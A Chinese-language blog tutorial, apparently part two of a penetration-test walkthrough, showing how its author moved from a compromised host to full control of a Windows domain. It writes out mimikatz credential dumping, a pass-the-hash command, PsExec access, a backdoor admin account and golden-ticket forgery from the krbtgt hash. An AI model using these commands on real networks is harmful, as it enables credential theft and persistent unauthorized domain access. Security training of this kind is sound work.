記一次由sql注入到拿下域控的滲透測試實戰演練(下)

Secur1ty發表於2021-02-07

本次滲透使用工具:

mimikatz,PsExec

本次滲透網路拓撲圖:

開始滲透:

上一篇文章中我們講到我們成功滲透了目標內網中web伺服器並提取其管理員明文密碼,通過明文密碼又成功登陸了內網中的另一臺機器(10.0.1.8)

將mimikatz上傳到10.0.1.8後執行下列命令進行提權和抓取管理員密碼:

privilege::debug
sekurlsa::logonpasswords

發現域管理員賬號曾經登陸過這臺機器,如果我們能夠抓取到他的密碼,那麼我們就可以完成登陸域控的任務了

但是發現無法像上次一樣抓取到管理員的明文密碼,因為mimikatz的抓取密碼並不是萬能的

如果目標機器修改過程登錄檔中的相關選項或者是Windows server 2012以上版本或者是打KB2871997補丁就會抓取不到明文密碼

雖然有密文,但是密文是加鹽值加密的,幾乎不可能通過暴力破解的方式強行猜出來

所以我們無法向上一篇文章所講的那樣直接通過明文來登入administrator,所以我們接下來要用另一種方法來登入管理員賬號:雜湊傳遞

雜湊傳遞的原理其實非常簡單,因為winsdows以及現在市面上大多數網站的登陸原理都不是直接校驗明文密碼,資料庫中儲存的也不是明文密碼,而是經過雜湊加密的密文

在使用者輸入密碼時,它們會去校驗使用者輸入密碼經過加密之後的值與資料庫中儲存的值是否相同而不是校驗明文

說白了就是windows的登陸原理就是雜湊校驗,所以理論上只要你是掌握了管理員密碼的雜湊值就有可能只通過這一個雜湊值進行登入

實際上在滲透測試中,雜湊傳遞是一個非常實用和常見的攻擊手法

在我們的神器mimikatz中封裝了雜湊傳遞的功能

使用以下命令進行雜湊傳遞

sekurlsa::pth /user:administrator /domain:"XXX" /ntlm:61465a991b168727b65b3644aab823cd
domain中填寫域的名稱

成功執行後會彈出一個cmd視窗,我們嘗試用此視窗訪問域控

成功訪問域控C盤,但是僅僅能夠訪問不能夠我們強烈的滲透慾望

我們可不可以向域控中新增一個自己的賬號來登入呢

這裡又要用到一個提權工具PsExec,這是windows官方自帶的提權工具

因為這裡我們已經通過雜湊傳遞登入了域管賬號,擁有了域管許可權,所以接下來只需要開啟一個域控的cmd就可以進行新增使用者的操作了

通過

PsExec.exe //域控地址 cmd

在彈出的cmd下用systeminfo檢視機器資訊,確定是域控的cmd無疑

來開啟域控的cmd,接下來就是我們熟悉的套路了

net user haixian abc123456.! /add
net localgroup administrators haixian /add

成功新增管理員賬號,接下來就可以進行登陸域控主機,製作黃金票據了,但製作黃金票據之前我們首先要了解什麼是黃金票據以及製作黃金票據的意義

在域中,在域中域控賬號要登入客戶機,需要通過一個認證過程所頒發的通行證,這個通行證就叫做票據,票據又分為黃金票據和白銀票據票據一個是用域控使用者賬戶製作,一個是用krbtgt賬戶(KDC超管賬號)製作

金票許可權是最大的

這個認證過程就是windows的認證協議-Kerberos

我們通過一張圖來大體瞭解一下什麼是Kerberos:

上圖演示了大致的票據頒發過程,這中間還有一次客戶機和KDC通過AC的一次加密身份驗證,真實的Kerberos是一個非常複雜的認證過程

以上只是簡單介紹方便理解,通俗來說,就是域控與客戶機的認證需要一個通行證(也就是票據)

也就是說有了黃金票據就擁有了KDC的許可權,就可以任意訪問域內任何一臺機器了

接下來進入實操:

首先通過我們建立的haixian賬戶進入域控,並上傳mimitatz

通過

lsadump::dcsync /user:krbtgt

可以抓取krbtgt賬戶的雜湊和securityID,這兩者是製作黃金票據的關鍵:

然後在10.0.1.8這臺主機的mimikatz通過

kerberos::golden /admin:administrator /domain:XXX /sid:S-1-5-21-4098506371-3349406080-1400905760 /krbtgt:9f7afad7acc9f72b7e338b908795b7da /ticket:administrator.kiribi

來製作黃金票據,不過這裡需要注意securityID的最後-502並不是它的內容,而是下一個ID的內容,製作的時候要注意別掉到坑裡去

通過

kerberos::ptt administrator.kiribi

來使本機載入黃金票據

可以看到載入黃金票據前這臺10.0.1.8並沒有訪問域控的許可權

載入成功後我們使用10.0.1.8這臺機器的cmd嘗試訪問域控機器的C盤,發現成功,接下來就是老套路包括新增賬戶等等

在最後不得不感慨一句mimikatz牛X!它的很多功能本文還沒有涉及到,感興趣的讀者可以自行百度或谷歌瞭解~

(注意這裡的黃金票據是長期有效的,修改管理員賬號密碼是沒有用的,它所依靠的是KDC,而KDC的密碼是在建立域的最初設定的,這個密碼一般會很複雜,也很少會改,所以相對與雜湊傳遞,黃金票據才是當之無愧的“後門”)

至此,我們完成了對目標內網的一系列滲透,從最初的sql注入getshell到最後的在域控機器留下後門,幾乎包含了經典滲透測試的全過程,所涉及知識與操作較為簡單,適合新手閱讀

(謝謝大家,溜了溜了~)

相關文章